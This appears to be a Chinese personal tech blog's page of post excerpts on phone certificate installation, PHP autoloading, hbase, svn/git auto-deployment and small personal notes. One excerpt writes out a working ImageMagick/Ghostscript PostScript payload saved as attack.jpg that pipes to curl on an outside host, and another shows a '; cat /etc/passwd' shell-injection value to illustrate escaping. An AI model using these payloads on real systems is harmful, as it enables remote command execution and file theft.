红米手机用charles抓包安装证书的问题

用charles抓包时访问 chls.pro 安装证书的问题: 红米6 pro,最新miui系统10.0 用自带浏览器下载的文件叫 getssl.crt,点击提示“没有可安装的证书” 用qq浏览器下载的是 xx.pem,点击提示“没有应用打开这个格式的文件” 用 小米自带的 “文件管理” app找到你下载xx.pem的路径。 长按文件,弹出选项,选择更多-重命名,改成xx.crt。 然后再点击文件就可以安装了。  

发表在 工作总结 | 标签为 , | 留下评论

imagemagick postscript漏洞

之前2016年的imagemagick的漏洞,升级到最新版本就行了。 https://www.jianshu.com/p/502e39c122e6 下载最新的版本执行不成功: convert: Not a JPEG file: starts with 0×70 0×75 `attack4.jpg’ @ error/jpeg.c/JPEGErrorHandler/332.   最近又来了这种 把以下内容保存为:attack.jpg %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%curl http://ip:8888) currentdevice putdeviceprops 红色部分可以改成其他任意linux命令,这个是相当严重的问题。 … 继续阅读

发表在 服务器端 | 标签为 | 留下评论

冒个泡

现在云盘记录笔记挺方便的,好多笔记都记录在云盘里了。。。就是减少了分享的机会。希望以后还是多写写。。。

发表在 扯淡 | 留下评论

spl_autoload_register()会销毁__autoload()

function __autoload($c) { echo “old\n”; } function a ($c) { echo “a\n”; } function b ($c) { echo “b\n”; } //调用了spl_autoload_register() 会注销掉__autoload() //先注册的在前,多次注册已经存在的函数不返回false,不影响原来已经注册函数的原有的执行顺序。 //$x = spl_autoload_register(‘b’); //var_dump($x); $arr = spl_autoload_functions(); print_r($arr); //$x = spl_autoload_register(‘a’); //var_dump($x); $arr = spl_autoload_functions(); print_r($arr); //$x … 继续阅读

发表在 php7升级 | 留下评论

php调用系统命令时注意过滤参数

处理参数或者处理整条命令吧。不处理很危险。 相关命令有 : escapeshellarg() escapeshellcmd() $param = “; cat /etc/passwd”; //$param = escapeshellcmd($param); $cmd = “echo xxx {$param}”; $cmd = escapeshellcmd($cmd); var_dump($cmd); $output = $intRet = ”; exec($cmd, $output, $intRet); var_dump($output); var_dump($intRet);

发表在 Php | 标签为 | 留下评论

贝贝熊暖贴特价促销。

机不可失失不再来。。。 贝贝熊晟达专卖店。http://bbx.pengduncun.com/

发表在 生活 | 留下评论

hello 8月

hello 8月hello 8月hello 8月hello 8月

发表在 生活 | 留下评论

Hello,2016

新年新气象,2016要多学习,多写点文章。希望一切顺利。

发表在 生活 | 标签为 | 留下评论

关于hbase-1.1.2启动时找不到类的问题分析

[root@n2 ~]# pwd /root [root@n2 ~]# hbase-1.1.2/bin/start-hbase.sh starting master, logging to /root/hbase-1.1.2/bin/../logs/hbase-root-master-n2.out Java HotSpot(TM) 64-Bit Server VM warning: ignoring option PermSize=128m; support was removed in 8.0 Java HotSpot(TM) 64-Bit Server VM warning: ignoring option MaxPermSize=128m; support was removed in 8.0 … 继续阅读

发表在 hbase | 标签为 | 留下评论

svn和git自动发布服务搭建

为方便本地用php些mapReduce脚本,搭建了svn和git自动发布。方法在本站搜索svn或git。nginx解析hbase.6.cn /data/www/hbase.6.cn 并设置autoindex on。 没用最老的svn://协议方式,可能最简单,需要启动svnserve -d -r /data/svn/respority 本机测试检出 可以直接用本地路径 git clone /data/git_repo/sample.git /data/www/hbase.6.cn/gitwww svn checkout file:///data/svn/project/hbase /data/www/hbase.6.cn/svnwww 其他机器带地址 git clone git@192.168.110.21:/data/git_repo/sample.git 【path】//默认检出文件夹为sample svn checkout http://192.168.110.21:8888/svn/project/hbase 【path】//默认检出文件夹为hbase 分别测试svn提交和git提交是否触发了自动发布。 http://hbase.6.cn/gitwww/ http://hbase.6.cn/svnwww/ svn代码库显示: httpd配置的 http://192.168.110.21:8888/svn/hbase/ nginx代理过去的,把端口号优化掉,稍微好看点。 http://192.168.110.21/svn/hbase/ server { listen 80 default; … 继续阅读

发表在 git, Php, svn | 标签为 , , | 留下评论